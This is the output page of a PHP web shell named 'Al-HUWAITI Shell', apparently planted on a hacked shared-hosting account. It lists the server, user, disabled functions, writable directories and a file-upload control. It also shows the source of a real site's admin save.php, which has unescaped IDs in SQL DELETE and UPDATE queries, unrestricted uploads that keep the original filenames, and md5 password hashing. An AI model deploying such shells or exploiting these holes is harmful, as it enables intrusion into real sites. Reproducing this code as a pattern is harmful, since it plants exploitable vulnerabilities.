Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web983.main-hosting.eu 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : u520472703 ( 520472703)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u520472703/domains/gadhiaassociate.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u520472703/domains/gadhiaassociate.com/public_html/admin/save.php
<?php 
error_reporting(E_ERROR | E_PARSE);

include("includes/config.db.php");
include("includes/helper.php");

$cat = $_POST['cat'];
$cat_get = $_GET['cat'];
$act = $_POST['act'];
$act_get = $_GET['act'];
$id = $_POST['id'];
$id_get = $_GET['id'];

if ($cat == "blog" || $cat_get == "blog") {


  if ($act == "add") {
    $title = mysqli_real_escape_string($conn, $_POST["title"]);
    $cate = mysqli_real_escape_string($conn, $_POST["category"]);
    $isHome = mysqli_real_escape_string($conn, $_POST["isHome"]) ? 1 : 0;
    $content = mysqli_real_escape_string($conn, $_POST["content"]);
    
    $uploadDirectory = '../assets/img/';
    $uploadedFiles = array();
    foreach ($_FILES['gImgName']['tmp_name'] as $key => $tmp_name) {
      $file_name = $_FILES['gImgName']['name'][$key];
      $file_tmp = $_FILES['gImgName']['tmp_name'][$key];

      $new_filename = $file_name;

      if (move_uploaded_file($file_tmp, $uploadDirectory . $new_filename)) {
        array_push($uploadedFiles, $new_filename);
      }
    }
    $images = join(',', $uploadedFiles);
    mysqli_query($conn, "INSERT INTO `gallery` ( `c_id`, `title`, `imgSrc`, `isHome`, `content` ) VALUES ('" . $cate . "','" . $title . "','" . $images . "', '" . $isHome . "', '" . $content . "') ");

  } elseif ($act == "edit") {
    $title = mysqli_real_escape_string($conn, $_POST["title"]);
    $cate = mysqli_real_escape_string($conn, $_POST["category"]);
    $isHome = mysqli_real_escape_string($conn, $_POST["isHome"]) ? 1 : 0;
    $content = mysqli_real_escape_string($conn, $_POST["content"]);
    $bkpimg = mysqli_real_escape_string($conn, $_POST["bkpimg"]);
    $uploadDirectory = '../assets/img/';
    $uploadedFiles = array();
    foreach ($_FILES['gImgName']['tmp_name'] as $key => $tmp_name) {
      $file_name = $_FILES['gImgName']['name'][$key];
      $file_tmp = $_FILES['gImgName']['tmp_name'][$key];

      $new_filename = $file_name;

      if (move_uploaded_file($file_tmp, $uploadDirectory . $new_filename)) {
        array_push($uploadedFiles, $new_filename);
      }
    }
    $images = join(',', $uploadedFiles);
    if ($images == null) {
      $images = $bkpimg;
    }
    mysqli_query($conn, "UPDATE `gallery` SET `c_id` =  '" . $cate . "',  `title` =  '" . $title . "',  `imgSrc` =  '" . $images . "', `isHome` = '" . $isHome . "', `content` = '" . $content . "'   WHERE `id` = '" . $id . "' ");
  } elseif ($act_get == "delete") {
    mysqli_query($conn, "DELETE FROM `gallery` WHERE id = '" . $id_get . "' ");
  }
  
    header("location:" . "blogs.php");
  
}

if ($cat == "contact" || $cat_get == "contact") {

    // $name = mysqli_real_escape_string($conn, $_POST["name"]);
    // $email = mysqli_real_escape_string($conn, $_POST["email"]);
    // $password = mysqli_real_escape_string($conn, $_POST["password"]);
    // $role = mysqli_real_escape_string($conn, $_POST["role"]);

  
  
  if ($act_get == "delete") {
      mysqli_query($conn, "DELETE FROM `contact` WHERE id = '" . $id_get . "' ");
    }
    header("location: contact.php");
  }
  
if ($cat == "admin" || $cat_get == "admin") {

  if ($act == "add") {
    $name = mysqli_real_escape_string($conn, $_POST["name"]);
    $password = mysqli_real_escape_string($conn, $_POST["password"]);
    mysqli_query($conn, "INSERT INTO `admin` (  `username` , `password` , `status` ) VALUES ( '" . $name . "' , '" . md5($password) . "', '1' ) ");
  } elseif ($act == "edit") {
    $name = mysqli_real_escape_string($conn, $_POST["name"]);
    $password = mysqli_real_escape_string($conn, $_POST["password"]);
    mysqli_query($conn, "UPDATE `admin` SET  `username` =  '" . $name . "', `password` =  '" . md5($password) . "'   WHERE `id` = '" . $id . "' ");
  } elseif ($act_get == "delete") {
    mysqli_query($conn, "DELETE FROM `admin` WHERE id = '" . $id_get . "' ");
  }
  header("location: adminlist.php");
}

if ($cat == "category"|| $cat_get == "category"){

  if ($act == "add") {
    $name = mysqli_real_escape_string($conn, strtoupper($_POST["name"]));
    mysqli_query($conn, "INSERT INTO `category` (  `name` ) VALUES ( '" . $name . "' ) ");
  } 
  elseif ($act == "edit") {
    $name = mysqli_real_escape_string($conn, strtoupper($_POST["name"]));
    mysqli_query($conn, "UPDATE `category` SET  `name` =  '" . $name . "'  WHERE `c_id` = '" . $id . "' ");
  }
  elseif ($act_get == "delete") {
    mysqli_query($conn, "DELETE FROM `category` WHERE `c_id` = '" . $id_get . "' ");

  }
  if(isset($_POST["page"])) {
    echo "<script>history.go(-2)</script>";
  }
  else{
    header("location:" . "category.php");
  }
  
}

// If want to make intro section dynamic then don't remove this below code (img uploading work pending)...

if ($cat == "intro" || $cat_get == "intro") {

if ($act == "edit") {

  $target_dir = "/assets/img";
  $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
  $uploadOk = 1;
  $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

  // Check if image file is a actual image or fake image
  if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
      // File is an image
      $uploadOk = 1;
    } else {
      //File is not an image
      $uploadOk = 0;
    }
  }
  
  // Check if file already exists
  if (file_exists($target_file)) {
    $uploadOk = 0;
  }
  
  // Img size - Must be lower than 2 MB (2000000 Bytes)
  if ($_FILES["fileToUpload"]["size"] > 2000000) {
    $uploadOk = 0;
  }
  
  // Check if $uploadOk is set to 0 by an error
  if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
  // if everything is ok, try to upload file
  } else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
      echo "The file ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])). " has been uploaded.";
    } else {
      echo "Sorry, there was an error uploading your file.";
    }
  }

    $name = mysqli_real_escape_string($conn, $_POST["introName"]);
    $description = mysqli_real_escape_string($conn, $_POST["description"]);
    mysqli_query($conn, "UPDATE `intro` SET  `name` =  '" . $name . "', `description` =  '" . $description . "'  WHERE `id` = '" . $id . "' ");
  }
  header("location: intro.php");
}

?>

Al-HUWAITI Shell